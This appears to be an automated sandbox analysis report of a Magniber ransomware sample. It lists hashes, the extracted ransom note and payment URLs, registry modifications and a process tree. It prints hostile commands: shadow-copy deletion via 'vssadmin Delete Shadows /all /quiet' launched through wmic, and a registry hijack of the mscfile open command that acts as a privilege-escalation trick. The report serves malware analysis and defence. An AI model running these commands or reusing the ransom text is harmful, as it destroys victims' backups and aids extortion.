Analysis
-
max time kernel
150s -
max time network
152s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
22/06/2021, 14:07
Static task
static1
Behavioral task
behavioral1
Sample
5.exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
5.exe
Resource
win10v20210408
windows10_x64
0 signatures
0 seconds
General
-
Target
5.exe
-
Size
21KB
-
MD5
9f4a400b5500df75cc0ba3fc2cf9d958
-
SHA1
b1c4fbdce52f495c548d0de5e62e2996f6e6d31f
-
SHA256
8474b7fd46e898991cbd0338ebd345bd3fd63a118168bbc662b52dff25e033cf
-
SHA512
ddd55d6a17fb83b664a1cf1a2e50769a864b3b0178e24ea5563dfc056853ae67ff97e89bc5981b5f0869175950d2a6dccde161a0239fb643a93bed0099ce3575
Score
10/10
Malware Config
Extracted
Path
C:\Users\Admin\Desktop\readme.txt
Family
magniber
Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED!
====================================================================================================
Your files are NOT damaged! Your files are modified only. This modification is reversible.
The only 1 way to decrypt your files is to receive the private key and decryption program.
Any attempts to restore your files with the third party software will be fatal for your files!
====================================================================================================
To receive the private key and decryption program follow the instructions below:
1. Download "Tor Browser" from https://www.torproject.org/ and install it.
2. In the "Tor Browser" open your personal page here:
http://66a814088e14c040feefmsoxzs.ndkeblzjnpqgpo5o.onion/efmsoxzs
Note! This page is available via "Tor Browser" only.
====================================================================================================
Also you can use temporary addresses on your personal page without using "Tor Browser":
http://66a814088e14c040feefmsoxzs.lieedge.casa/efmsoxzs
http://66a814088e14c040feefmsoxzs.lognear.xyz/efmsoxzs
http://66a814088e14c040feefmsoxzs.bejoin.space/efmsoxzs
http://66a814088e14c040feefmsoxzs.wonride.site/efmsoxzs
Note! These are temporary addresses! They will be available for a limited amount of time!
URLs
http://66a814088e14c040feefmsoxzs.ndkeblzjnpqgpo5o.onion/efmsoxzs
http://66a814088e14c040feefmsoxzs.lieedge.casa/efmsoxzs
http://66a814088e14c040feefmsoxzs.lognear.xyz/efmsoxzs
http://66a814088e14c040feefmsoxzs.bejoin.space/efmsoxzs
http://66a814088e14c040feefmsoxzs.wonride.site/efmsoxzs
Signatures
-
Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
-
Process spawned unexpected child process 10 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2112 904 cmd.exe 48 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2096 904 cmd.exe 48 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2084 904 cmd.exe 48 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2068 904 cmd.exe 48 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2060 904 cmd.exe 48 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2624 904 vssadmin.exe 48 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2640 904 vssadmin.exe 48 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2672 904 vssadmin.exe 48 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2664 904 vssadmin.exe 48 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3012 904 vssadmin.exe 48 -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies extensions of user files 9 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\ExpandStart.crw => C:\Users\Admin\Pictures\ExpandStart.crw.efmsoxzs Dwm.exe File renamed C:\Users\Admin\Pictures\FormatSelect.raw => C:\Users\Admin\Pictures\FormatSelect.raw.efmsoxzs Dwm.exe File renamed C:\Users\Admin\Pictures\StepDisable.crw => C:\Users\Admin\Pictures\StepDisable.crw.efmsoxzs Dwm.exe File renamed C:\Users\Admin\Pictures\UnprotectRead.raw => C:\Users\Admin\Pictures\UnprotectRead.raw.efmsoxzs Dwm.exe File opened for modification C:\Users\Admin\Pictures\ResolveOpen.tiff Dwm.exe File renamed C:\Users\Admin\Pictures\ResolveOpen.tiff => C:\Users\Admin\Pictures\ResolveOpen.tiff.efmsoxzs Dwm.exe File renamed C:\Users\Admin\Pictures\ResumeRead.tif => C:\Users\Admin\Pictures\ResumeRead.tif.efmsoxzs Dwm.exe File opened for modification C:\Users\Admin\Pictures\SearchUndo.tiff Dwm.exe File renamed C:\Users\Admin\Pictures\SearchUndo.tiff => C:\Users\Admin\Pictures\SearchUndo.tiff.efmsoxzs Dwm.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 788 set thread context of 1104 788 5.exe 13 PID 788 set thread context of 1172 788 5.exe 12 PID 788 set thread context of 1204 788 5.exe 11 -
Interacts with shadow copies 2 TTPs 5 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2624 vssadmin.exe 2640 vssadmin.exe 2672 vssadmin.exe 2664 vssadmin.exe 3012 vssadmin.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000051618adbbbd0f84eb34ff59fe7045e8f000000000200000000001066000000010000200000004e55be3b19fb96ac7c375da046626e9fda8f667c2ccf2b16e14c0d68fcc9db8f000000000e800000000200002000000037c1d158ce808d67de2a0d5a388a38baf98568e2544e611ac80a0489b48d008c90000000fae5194b5ea1e4d861c289ae23d70f06fb2eca426c73d21ebca8f68100fbce580c2ed2b7e00c7da018bef4e692efbf9d60dbafb8c402a85aca123aa3b9f8bc691e4cffb37aeaaa88e607910e72848d28f8123bada0c5d72d4ac82a156951be9d612e5f8cba74569038614972e4bc2d4e8f670c2cf7b78e80b4edf60a899f878724a42b4789819bc4c7e5a002754c6040400000002b8b4e36dbe452892c99cfcf81384879fb4a2fe56462deaa59c17df65d34d2240a2574583167fe8e915da793dc9fb39d106b7162501ac5485b38b80dab1455f1 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 70b152816f67d701 iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000051618adbbbd0f84eb34ff59fe7045e8f0000000002000000000010660000000100002000000055fc1ce2ee7d20da9844e7edcc2078aaa9690c6c457362cbf46fcebbc5e7cb3c000000000e8000000002000020000000ae7ceae5a0da21bb0962325e5057f1083d108eecd2927b580b66c7b594b37b8d2000000089d4a4fb7a30a93940f5f5bbc9769e664a1bf5651f7c83ffaa216b6ccbdccbf8400000009668e2229c6a13ca32e911be7daa52f37e492af878c5c49603788718a4834e7a3555387fd9e173b133f04c1948b490967e207b8ba95d2ba1febfbe8b04bc8a9f iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "331135601" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{A8481191-D362-11EB-B46F-CA719EEEFCCE} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe -
Modifies registry class 11 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command Dwm.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile Dwm.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell Dwm.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" Dwm.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" Explorer.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" 5.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open Dwm.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command taskhost.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" taskhost.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command 5.exe -
Opens file in notepad (likely ransom note) 1 IoCs
pid Process 1244 notepad.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 788 5.exe 788 5.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1880 iexplore.exe -
Suspicious behavior: MapViewOfSection 3 IoCs
pid Process 788 5.exe 788 5.exe 788 5.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1204 Explorer.EXE Token: SeShutdownPrivilege 1204 Explorer.EXE Token: SeShutdownPrivilege 1204 Explorer.EXE Token: SeIncreaseQuotaPrivilege 284 WMIC.exe Token: SeSecurityPrivilege 284 WMIC.exe Token: SeTakeOwnershipPrivilege 284 WMIC.exe Token: SeLoadDriverPrivilege 284 WMIC.exe Token: SeSystemProfilePrivilege 284 WMIC.exe Token: SeSystemtimePrivilege 284 WMIC.exe Token: SeProfSingleProcessPrivilege 284 WMIC.exe Token: SeIncBasePriorityPrivilege 284 WMIC.exe Token: SeCreatePagefilePrivilege 284 WMIC.exe Token: SeBackupPrivilege 284 WMIC.exe Token: SeRestorePrivilege 284 WMIC.exe Token: SeShutdownPrivilege 284 WMIC.exe Token: SeDebugPrivilege 284 WMIC.exe Token: SeSystemEnvironmentPrivilege 284 WMIC.exe Token: SeRemoteShutdownPrivilege 284 WMIC.exe Token: SeUndockPrivilege 284 WMIC.exe Token: SeManageVolumePrivilege 284 WMIC.exe Token: 33 284 WMIC.exe Token: 34 284 WMIC.exe Token: 35 284 WMIC.exe Token: SeIncreaseQuotaPrivilege 1596 WMIC.exe Token: SeSecurityPrivilege 1596 WMIC.exe Token: SeTakeOwnershipPrivilege 1596 WMIC.exe Token: SeLoadDriverPrivilege 1596 WMIC.exe Token: SeSystemProfilePrivilege 1596 WMIC.exe Token: SeSystemtimePrivilege 1596 WMIC.exe Token: SeProfSingleProcessPrivilege 1596 WMIC.exe Token: SeIncBasePriorityPrivilege 1596 WMIC.exe Token: SeCreatePagefilePrivilege 1596 WMIC.exe Token: SeBackupPrivilege 1596 WMIC.exe Token: SeRestorePrivilege 1596 WMIC.exe Token: SeShutdownPrivilege 1596 WMIC.exe Token: SeDebugPrivilege 1596 WMIC.exe Token: SeSystemEnvironmentPrivilege 1596 WMIC.exe Token: SeRemoteShutdownPrivilege 1596 WMIC.exe Token: SeUndockPrivilege 1596 WMIC.exe Token: SeManageVolumePrivilege 1596 WMIC.exe Token: 33 1596 WMIC.exe Token: 34 1596 WMIC.exe Token: 35 1596 WMIC.exe Token: SeIncreaseQuotaPrivilege 1604 WMIC.exe Token: SeSecurityPrivilege 1604 WMIC.exe Token: SeTakeOwnershipPrivilege 1604 WMIC.exe Token: SeLoadDriverPrivilege 1604 WMIC.exe Token: SeSystemProfilePrivilege 1604 WMIC.exe Token: SeSystemtimePrivilege 1604 WMIC.exe Token: SeProfSingleProcessPrivilege 1604 WMIC.exe Token: SeIncBasePriorityPrivilege 1604 WMIC.exe Token: SeCreatePagefilePrivilege 1604 WMIC.exe Token: SeBackupPrivilege 1604 WMIC.exe Token: SeRestorePrivilege 1604 WMIC.exe Token: SeShutdownPrivilege 1604 WMIC.exe Token: SeDebugPrivilege 1604 WMIC.exe Token: SeSystemEnvironmentPrivilege 1604 WMIC.exe Token: SeRemoteShutdownPrivilege 1604 WMIC.exe Token: SeUndockPrivilege 1604 WMIC.exe Token: SeManageVolumePrivilege 1604 WMIC.exe Token: 33 1604 WMIC.exe Token: 34 1604 WMIC.exe Token: 35 1604 WMIC.exe Token: SeShutdownPrivilege 1204 Explorer.EXE -
Suspicious use of FindShellTrayWindow 6 IoCs
pid Process 1204 Explorer.EXE 1880 iexplore.exe 1204 Explorer.EXE 1204 Explorer.EXE 1204 Explorer.EXE 1204 Explorer.EXE -
Suspicious use of SendNotifyMessage 8 IoCs
pid Process 1204 Explorer.EXE 1204 Explorer.EXE 1204 Explorer.EXE 1204 Explorer.EXE 1204 Explorer.EXE 1204 Explorer.EXE 1204 Explorer.EXE 1204 Explorer.EXE -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 1880 iexplore.exe 1880 iexplore.exe 1120 IEXPLORE.EXE 1120 IEXPLORE.EXE 1120 IEXPLORE.EXE 1120 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1172 wrote to memory of 1244 1172 Dwm.exe 26 PID 1172 wrote to memory of 1244 1172 Dwm.exe 26 PID 1172 wrote to memory of 1244 1172 Dwm.exe 26 PID 1172 wrote to memory of 616 1172 Dwm.exe 28 PID 1172 wrote to memory of 616 1172 Dwm.exe 28 PID 1172 wrote to memory of 616 1172 Dwm.exe 28 PID 1172 wrote to memory of 760 1172 Dwm.exe 29 PID 1172 wrote to memory of 760 1172 Dwm.exe 29 PID 1172 wrote to memory of 760 1172 Dwm.exe 29 PID 760 wrote to memory of 284 760 cmd.exe 32 PID 760 wrote to memory of 284 760 cmd.exe 32 PID 760 wrote to memory of 284 760 cmd.exe 32 PID 1104 wrote to memory of 824 1104 taskhost.exe 33 PID 1104 wrote to memory of 824 1104 taskhost.exe 33 PID 1104 wrote to memory of 824 1104 taskhost.exe 33 PID 616 wrote to memory of 1880 616 cmd.exe 37 PID 616 wrote to memory of 1880 616 cmd.exe 37 PID 616 wrote to memory of 1880 616 cmd.exe 37 PID 1204 wrote to memory of 1624 1204 Explorer.EXE 35 PID 1204 wrote to memory of 1624 1204 Explorer.EXE 35 PID 1204 wrote to memory of 1624 1204 Explorer.EXE 35 PID 824 wrote to memory of 1604 824 cmd.exe 39 PID 824 wrote to memory of 1604 824 cmd.exe 39 PID 824 wrote to memory of 1604 824 cmd.exe 39 PID 1624 wrote to memory of 1596 1624 cmd.exe 38 PID 1624 wrote to memory of 1596 1624 cmd.exe 38 PID 1624 wrote to memory of 1596 1624 cmd.exe 38 PID 788 wrote to memory of 1056 788 5.exe 40 PID 788 wrote to memory of 1056 788 5.exe 40 PID 788 wrote to memory of 1056 788 5.exe 40 PID 1056 wrote to memory of 1748 1056 cmd.exe 42 PID 1056 wrote to memory of 1748 1056 cmd.exe 42 PID 1056 wrote to memory of 1748 1056 cmd.exe 42 PID 788 wrote to memory of 1628 788 5.exe 44 PID 788 wrote to memory of 1628 788 5.exe 44 PID 788 wrote to memory of 1628 788 5.exe 44 PID 1628 wrote to memory of 700 1628 cmd.exe 46 PID 1628 wrote to memory of 700 1628 cmd.exe 46 PID 1628 wrote to memory of 700 1628 cmd.exe 46 PID 1880 wrote to memory of 1120 1880 iexplore.exe 49 PID 1880 wrote to memory of 1120 1880 iexplore.exe 49 PID 1880 wrote to memory of 1120 1880 iexplore.exe 49 PID 1880 wrote to memory of 1120 1880 iexplore.exe 49 PID 2060 wrote to memory of 2208 2060 cmd.exe 60 PID 2060 wrote to memory of 2208 2060 cmd.exe 60 PID 2060 wrote to memory of 2208 2060 cmd.exe 60 PID 2096 wrote to memory of 2232 2096 cmd.exe 61 PID 2096 wrote to memory of 2232 2096 cmd.exe 61 PID 2096 wrote to memory of 2232 2096 cmd.exe 61 PID 2112 wrote to memory of 2244 2112 cmd.exe 62 PID 2112 wrote to memory of 2244 2112 cmd.exe 62 PID 2112 wrote to memory of 2244 2112 cmd.exe 62 PID 2068 wrote to memory of 2260 2068 cmd.exe 64 PID 2068 wrote to memory of 2260 2068 cmd.exe 64 PID 2068 wrote to memory of 2260 2068 cmd.exe 64 PID 2084 wrote to memory of 2284 2084 cmd.exe 63 PID 2084 wrote to memory of 2284 2084 cmd.exe 63 PID 2084 wrote to memory of 2284 2084 cmd.exe 63 PID 2244 wrote to memory of 2392 2244 CompMgmtLauncher.exe 66 PID 2244 wrote to memory of 2392 2244 CompMgmtLauncher.exe 66 PID 2244 wrote to memory of 2392 2244 CompMgmtLauncher.exe 66 PID 2284 wrote to memory of 2408 2284 CompMgmtLauncher.exe 67 PID 2284 wrote to memory of 2408 2284 CompMgmtLauncher.exe 67 PID 2284 wrote to memory of 2408 2284 CompMgmtLauncher.exe 67
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1204 -
C:\Users\Admin\AppData\Local\Temp\5.exe"C:\Users\Admin\AppData\Local\Temp\5.exe"2⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:788 -
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""3⤵
- Suspicious use of WriteProcessMemory
PID:1056 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"4⤵PID:1748
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""3⤵
- Suspicious use of WriteProcessMemory
PID:1628 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"4⤵PID:700
-
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:1624 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1596
-
-
-
C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1172 -
C:\Windows\system32\notepad.exenotepad.exe C:\Users\Public\readme.txt2⤵
- Opens file in notepad (likely ransom note)
PID:1244
-
-
C:\Windows\system32\cmd.execmd /c "start http://66a814088e14c040feefmsoxzs.lieedge.casa/efmsoxzs^&1^&39743288^&74^&337^&12"2⤵
- Suspicious use of WriteProcessMemory
PID:616 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://66a814088e14c040feefmsoxzs.lieedge.casa/efmsoxzs&1&39743288&74&337&123⤵
- Modifies Internet Explorer settings
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1880 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1880 CREDAT:275457 /prefetch:24⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1120
-
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:760 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:284
-
-
-
C:\Windows\system32\taskhost.exe"taskhost.exe"1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1104 -
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:824 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1604
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2112 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2244 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2392
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2096 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵PID:2232
-
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2400
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2084 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2284 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2408
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2068 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵PID:2260
-
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2416
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2060 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵PID:2208
-
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2764
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2624
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2640
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2672
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2664
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:2752
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:3012